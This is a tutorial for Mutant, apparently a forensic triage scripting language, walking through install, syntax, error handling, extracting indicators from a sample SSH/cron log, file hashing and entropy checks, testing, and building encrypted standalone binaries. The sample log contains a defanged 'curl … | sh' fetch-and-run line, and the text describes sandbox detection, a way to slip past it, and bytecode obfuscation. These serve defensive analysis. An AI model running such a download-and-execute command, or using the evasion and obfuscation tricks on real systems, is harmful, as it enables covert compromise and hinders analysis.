Mutant in 30 minutes
By the end of this you will have written a real triage program, run it against a log file, turned it into an encrypted artifact, and built it into a standalone binary you could hand to someone else.
By the end of this you will have written a real triage program, run it against a log file, turned it into an encrypted artifact, and built it into a standalone binary you could hand to someone else. No prior exposure to the language is assumed.
Everything below is a command that was run and an output that came back. Where Mutant does something surprising, this page says so rather than routing around it — the surprises are where the half-hour actually goes.
| 0–5 min | Install, and the first surprise |
| 5–10 min | The language on one page |
| 10–14 min | The one thing that will bite you |
| 14–20 min | A real program: indicators out of a log |
| 20–25 min | Triage a file, emit JSON |
| 25–27 min | Test, lint, format |
| 27–30 min | Ship it |
1. Install, and the first surprise#
Clone and build:
git clone https://github.com/aoiflux/mutant
cd mutant
./scripts/build.sh --host-only --no-wasm-repl
On Windows, the same build in PowerShell:
.\scripts\build.ps1 -HostOnly -WasmRepl:$false
Not go install. It is the obvious thing to type, and it does produce a
working mutant — which is exactly why it is worth saying plainly that it is
not enough. Section 7's mutant release needs a set of embedded runtime
binaries that the build script generates and that a plain go build has no
way to produce, so a go install binary refuses that last step.
Give it about ten minutes. Almost all of that is generating those runtime
binaries, one for each of the seven platforms you could later release to, and
--host-only does not shorten it: that flag narrows the final build, not the
runtimes. Nothing needs watching, so section 2 is worth reading while it runs.
The script also holds you to the Go version go.mod names, and refuses any
other rather than building something the project was never tested against. If
your go is a different version it says so, and says what to pass instead.
The binary lands in dist/, named for the platform it was built for. Put it
on your PATH under the name the rest of this page uses:
cp dist/mutant-linux-amd64 ~/.local/bin/mutant # or anywhere on PATH
Check it:
$ mutant --version
Version: 2.6.1
Now write a first program. Call it hello.mut:
putln("hello from mutant");
let xs = [1, 2, 3];
putln(map(xs, fn(x) { return x * 2; }));
Run it:
$ mutant hello.mut
It prints nothing. This is the surprise, and it is the single most useful thing to learn in the first five minutes:
mutant hello.mutcompiles. It does not run. It writeshello.mu— an encrypted, signed bytecode artifact — next to your source, and stops.
Running is the second step:
$ mutant hello.mu
hello from mutant
[2, 4, 6]
Both steps ask for a password, because the artifact is encrypted at rest: the
compile step prompts twice (set and confirm), the run step once. That is the
point of the toolchain, but it is friction you do not want while learning, so
while you are experimenting use --dev, which supplies a built-in development
key:
$ mutant --dev hello.mut && mutant --dev hello.mu
[dev] no password supplied; using the built-in development key -- not for release artifacts
hello from mutant
[2, 4, 6]
--dev is for local development only. It says so on every run, and the key it
uses is public. Everything from §7 onward uses a real password.
For trying a single expression, skip files entirely — bare mutant starts a
REPL:
$ mutant
>> extract_iocs("call home to 203.0.113.44")["ipv4"]
If it says "sandbox detected, execution halted"#
Mutant's default mode refuses to run inside what it believes is an analysis environment. That is deliberate — a signed forensic tool that happily executes under a debugger is not much of a guarantee — but it can fire on a machine you consider perfectly ordinary. It tells you what it saw and what to do:
[security] event=sandbox_detected stage=pre-decode action=terminate
[security] detector=sandbox type=WSL confidence=90 signals=windows:process_parent:wsl,...
[security] reason: secure mode does not run where the host looks like an analysis sandbox
[security] remedy: re-run with --compat if this host is expected to look like this.
[security] --compat weakens the response only: a probe hit warns instead of stopping
[security] the run. Your password is still required and the artifact is still verified.
sandbox detected, execution halted for security
The signals field names the evidence. Detection scores by confidence and halts
at 70. Taking the remedy:
$ mutant prog.mu --compat
--compat weakens the response, not the key: your password is still required
and the artifact is still verified. --dev is the one that weakens the key.
See EXECUTION_MODES.md.
Expected, and mislabelled before 2.6.0. On Windows, launching
mutantstraight from Git Bash (or MSYS2/Cygwin), so that its parent process isbash.exe, is detected and secure mode halts. That is intended: an emulated shell is one of the environments the detector exists to notice. The detector looks at that one parent and no further, so a program in between —timeout,env,sh -corcmd /c, say — hides the shell, which then does not count towards a halt. What was wrong is what it reported. Until 2.6.0 the type wasWSL, which was untrue on a machine with no WSL installed; it is nowMSYS/Cygwin or legacy WSL, which is everything abash.exeparent can prove. The behaviour is the same on every version: run from PowerShell orcmd, or pass--compatto make the halt a warning.
2. The language on one page#
Mutant is a small C-family language. If you have written JavaScript or Go you can read it already.
// Bindings. `let` introduces a name; assignment updates one.
let name = "svchost.exe";
let count = 0;
count += 1;
// Numbers, strings, booleans, null. Integers and floats are distinct.
let ratio = 7.9;
let packed = ratio > 7.2; // true
// Arrays index from zero. Hashes are string-keyed.
let hosts = ["10.0.0.15", "203.0.113.44"];
let finding = {"host": hosts[1], "severity": "high"};
putln(finding["severity"]); // high
// Conditionals and loops. `break` and `continue` work as you expect.
for (let i = 0; i < len(hosts); i++) {
if (ip_is_private(hosts[i])) {
continue;
};
putln("external:", hosts[i]);
}
// When the elements are the point rather than the index, loop over them.
// One binding gives an array's element but a hash's key; two give both.
for (host in hosts) {
putln("host: ${host}");
}
for (key, value in finding) {
putln("${key} = ${value}");
}
// `while` is for a loop whose end is a condition rather than a count.
let budget = 3;
while (budget > 0) {
budget = budget - 1;
}
// `match` is an expression, so it produces a value. Patterns are literals,
// enum variants, or `_`; alternatives are joined with `|`.
let label = match (len(hosts)) {
0 => "nothing to scan",
1 | 2 => "a short list",
_ => "a long list",
};
putln(label); // a short list
// Functions are values, and they close over their surroundings.
let prefixer = fn(tag) {
return fn(msg) { return tag + ": " + msg; };
};
let warn = prefixer("WARN");
putln(warn("beaconing")); // WARN: beaconing
// Collections come with the usual higher-order functions.
let nums = [5, 3, 8, 1];
putln(map(nums, fn(x) { return x * 2; })); // [10, 6, 16, 2]
putln(filter(nums, fn(x) { return x > 3; })); // [5, 8]
putln(reduce(nums, fn(acc, x) { return acc + x; }, 0)); // 17
each(nums, fn(x) { putln(x); });
Semicolons terminate statements, including statements whose value is a
block — let f = fn() { ... }; and, at the top level, if (c) { ... };. If you
forget one, mutant lint tells you exactly where.
putln prints its arguments and a newline; putf prints without one. Both take
any number of arguments and any types.
Two more declaration forms exist — struct and enum — plus compile-time
macro. You do not need them today;
the language reference has them.
3. The one thing that will bite you#
Anything that can fail returns two values: the result, and an error. You bind both:
let raw, err = fs_read("auth.log");
if (err) {
putln("[error] fs_read:", err);
};
This convention runs through the whole standard library, and it is where a new Mutant program goes wrong. Three facts, in the order you will trip over them.
Not every builtin returns a pair. let a, b = ... is a general destructuring
form, not error handling. Given an array on the right, it takes the array apart:
let items = ["a", "b"];
let wrong, err = push(items, "c"); // WRONG. push returns ONE array.
// wrong is "a"; err is "b"
let updated = push(items, "c"); // right: ["a", "b", "c"]
Nothing fails. err holds "b", which is truthy, so an if (err) check even
appears to work — while updated silently holds a single letter. push,
first, last, rest and len all return one value. The
Capability Reference gives every builtin's exact
return shape, and the language server flags this specific mistake as
builtinSingleReturn while you type.
A missing hash key is null, not an error. This is the same class of quiet wrong answer:
let digest, err = fs_hash("sample.bin", "sha256");
putln(digest["sha256"]); // prints nothing -- there is no such key
putln(digest["hash"]); // 21d44192269e9dac...
fs_hash returns {algo, bytes, hash, path, size, status}. The digest lives
under hash, whatever algorithm you asked for. Look up field names rather than
guessing them: every builtin's returned fields are listed in the Capability
Reference, and hovering the call in an editor with the language server shows the
same thing.
Errors are values. err is an object, not an exception; nothing unwinds.
A program that ignores an error carries on with whatever the first value was.
4. A real program: indicators out of a log#
Save this as auth.log:
2026-08-14T02:11:09Z sshd[4412]: Failed password for admin from 203.0.113.44 port 51022
2026-08-14T02:11:44Z sshd[4412]: Accepted password for admin from 203.0.113.44 port 51022
2026-08-14T02:12:02Z cron[901]: (admin) CMD (curl -s hxxp://cdn.updates-cache[.]net/a.sh | sh)
2026-08-14T02:12:19Z sshd[4488]: Accepted publickey for root from 198.51.100.9 port 40122
2026-08-14T02:15:00Z audit: outbound 10.0.0.15 -> 203.0.113.44:443 established
Note the third line is defanged — hxxp:// and [.] — the way indicators
are written in a report so nobody clicks them. Now triage.mut:
let raw, err = fs_read("auth.log");
if (err) {
putln("[error] fs_read:", err);
};
// extract_iocs refangs the text before matching, so defanged indicators are
// found too. It returns {ipv4, urls, domains, emails, md5, sha1, sha256}.
let iocs = extract_iocs(raw);
putln("external addresses:");
each(iocs["ipv4"], fn(ip) {
if (!ip_is_private(ip)) {
putln(" ", defang(ip));
};
});
putln("callback urls:");
each(iocs["urls"], fn(url) {
putln(" ", defang(url), " host=", defang(domain_extract(url)));
});
$ mutant --dev triage.mut && mutant --dev triage.mu
external addresses:
198[.]51[.]100[.]9
203[.]0[.]113[.]44
callback urls:
hxxp://cdn[.]updates-cache[.]net/a[.]sh host=cdn[.]updates-cache[.]net
Three things worth noticing in fifteen lines:
extract_iocsrefanged the input, so the defanged URL was found anyway;defangput the indicators back into report-safe form on the way out.ip_is_privatedid the RFC1918 split, so10.0.0.15never reached the report.domain_extractpulled the host out of the URL. Prefer that overiocs["domains"]when you have a URL in hand: the domain matcher works on raw text and will also return path fragments that look like hostnames (a.sh,svc.exe).
That last point is the general lesson. These are pattern matchers over untrusted text, not an oracle. Read what comes back.
5. Triage a file, emit JSON#
A report that only prints is a report you cannot pipe anywhere. filecheck.mut:
let inspect = fn(path) {
let magic, magic_err = fs_magic(path);
let digest, hash_err = fs_hash(path, "sha256");
let ent, ent_err = fs_entropy(path);
if (magic_err || hash_err || ent_err) {
return {"path": path, "ok": false};
};
return {
"path": path,
"ok": true,
"type": magic["type"],
"sha256": digest["hash"],
"entropy": ent["entropy"],
"packed": ent["entropy"] > 7.2,
};
};
let report = inspect("sample.bin");
putln(report);
let out, err = json_stringify(report);
if (!err) {
putln(out);
};
$ mutant --dev filecheck.mut && mutant --dev filecheck.mu
{entropy: 7.949850, ok: true, packed: true, path: sample.bin, sha256: 21d441…, type: unknown}
{"entropy":7.949849649923041,"ok":true,"packed":true,"path":"sample.bin","sha256":"21d441…","type":"unknown"}
fs_magic identifies the file from its header against a signature database
rather than trusting the extension. fs_entropy returns Shannon entropy —
above roughly 7.2 on a whole file means compressed, encrypted, or packed, which
is why the packed field is worth carrying. json_stringify gives you
something to hand to the rest of your pipeline.
Notice the shape of the error handling: three fallible calls, one combined
check, one early return with a result the caller can still inspect. Returning a
hash with "ok": false rather than dropping out entirely is the idiom worth
copying — a triage tool that silently skips a file is worse than one that says
it failed.
The whole forensic standard library is reached this way: 694 builtins across 41
categories, catalogued in the Capability Reference.
fs_* for files, bin_* for PE/ELF/Mach-O, reg_* for registry hives, mft_*
and the filesystem parsers for disk images, evtx_* and prefetch_* for
Windows artifacts, net_* for the wire. They all follow the conventions you
have already learned.
6. Test, lint, format#
A test file is an ordinary program named *_test.mut. It is compiled the same
way any program is, so it can import the module it is testing:
// iocs_test.mut
test("an IPv4 beacon is extracted", fn() {
let iocs = extract_iocs("beacon to 203.0.113.44 via hxxp://bad[.]example[.]com/x");
assert_eq(len(iocs["ipv4"]), 1);
assert_contains(iocs["ipv4"], "203.0.113.44");
});
test("so is the defanged URL", fn() {
let iocs = extract_iocs("hxxp://bad[.]example[.]com/x");
assert_contains(iocs["domains"], "bad.example.com");
});
$ mutant test .
ok iocs_test.mut (2 tests, 3ms)
1 file | 2 tests (3ms)
test(name, fn) runs the test where it is written, so the file reads top to
bottom; a test inside another is a subtest. The assertions —
assert, assert_eq, assert_ne, assert_contains, assert_err,
assert_ok, fail — record the file and line they failed on, and the test
carries on rather than stopping: a failure is a recorded fact, not an
exception. before_each/after_each are the fixtures.
--run filters by name, --json reports for CI, and --cover says which
source lines the tests reached. A file that declares no test(...) still
passes unless it errored or its last expression was false, which is what this
command used to be in its entirety. The full guide is
TESTING.md.
The linter is the same analyzer the language server runs, so the command line and your editor agree:
$ mutant lint triage.mut
$ mutant lint --strict examples/ # --strict also fails on warnings
It catches undefined identifiers, unused declarations, wrong builtin arity and
argument types, the let x, err = mistake from
§3, and calls to platform-restricted
builtins on an OS that does not support them.
There is also mutant fmt, a canonical formatter in the gofmt tradition — one
rendering per program, no options. It keeps the brackets you wrote and adds
none: a + b * c stays as it is, and so does (a * b) + c. Be aware before you
run it on existing code: it joins multi-line expressions back onto one line,
which most of the bundled examples do not do. Use --stdout to see what it
would do before letting it rewrite anything.
It will not touch a file it cannot parse: like gofmt, it prints the parse
errors, leaves the bytes alone and exits non-zero.
$ mutant fmt --stdout triage.mut
$ mutant fmt --check . # lists files it would change; exits non-zero
And when putln stops being enough, there is a debugger. mutant debug serves
the Debug Adapter Protocol, so the editor drives it: in VS Code, press F5 on a
.mut and set breakpoints in the gutter; step over, into and out; read the call
stack and the values in each frame. It is started by the editor rather than by
hand, and it debugs the source rather than a .mu — a release artifact has had
its line numbers stripped, so there is nothing in one to step through. See
DEBUGGING.md.
7. Ship it#
You have been using --dev and a public key. Two commands turn the same source
into something you can actually hand over.
On Windows, run this section from PowerShell or
cmd. Compiling is fine anywhere, but the two commands here that run a program — the.muand the standalone binary — halt when their parent is Git Bash, which is one of the things the detector exists to notice (section 1 has the detail).--compatmakes the halt a warning if you would rather stay where you are.
An encrypted artifact. This is the .mu from step 1, made properly:
$ mutant gen --src triage.mut --password-file ./case-42.key
Generating bytecode...
Compiled in: 29.7688ms
The recipient needs mutant and the password:
$ mutant triage.mu --password-file ./case-42.key
A standalone binary. No interpreter on the far end, no dependencies:
$ mutant release --src triage.mut --password-file ./case-42.key
Compiling release build...
$ ./triage.exe --password-file ./case-42.key
[security] self-verification only; add --signer-auth (with --trusted-key <path>) to verify against a trusted public key
external addresses:
198[.]51[.]100[.]9
203[.]0[.]113[.]44
Cross-compile with --os and --arch; raise obfuscation with --mutation,
which emits functionally identical but structurally different bytecode on every
build.
The password still applies. A release binary carries the payload encrypted;
it is not a way to ship a program that runs without the key. If you want the
recipient to verify who built it rather than only that it is intact, sign
against a trusted key and have them run with --signer-auth --trusted-key. The
line about "self-verification only" above is the runtime telling you honestly
that nobody asked it to check a signer.
Never pass a password as a flag value. --password puts the secret in the
process table and your shell history, and since 2.6.0 it is refused. The three
supported routes are an interactive prompt (the default), --password-file, and
--password-stdin for pipelines:
$ printf '%s' "$SECRET" | mutant gen --src triage.mut --password-stdin
Where to go next#
- Cookbook — the next step from here: fourteen complete programs organised by the question you are asking, not by builtin category.
- Capability Reference — every builtin, its typed signature, its returned fields, and its platform support. Generated from the registry, so it cannot go stale.
- Language reference — structs, enums,
macros, concurrency (
spawn, channels,pmap), and thebytestype for binary data. examples/— 131 runnable programs grouped by subject.examples/workshop/is the closest thing to a continuation of this tutorial.- What is Mutant? — why the language exists and what it is for.
- Why Mutant, and when not to — the honest comparison against plaso, Velociraptor, osquery and YARA+Sigma.
- Security model — what the signing, encryption, tamper detection and mutation actually promise, and what they do not.
Install the VS Code extension for hover documentation, completion driven by the
same metadata as the reference above, inlay hints, and the diagnostics mutant lint reports.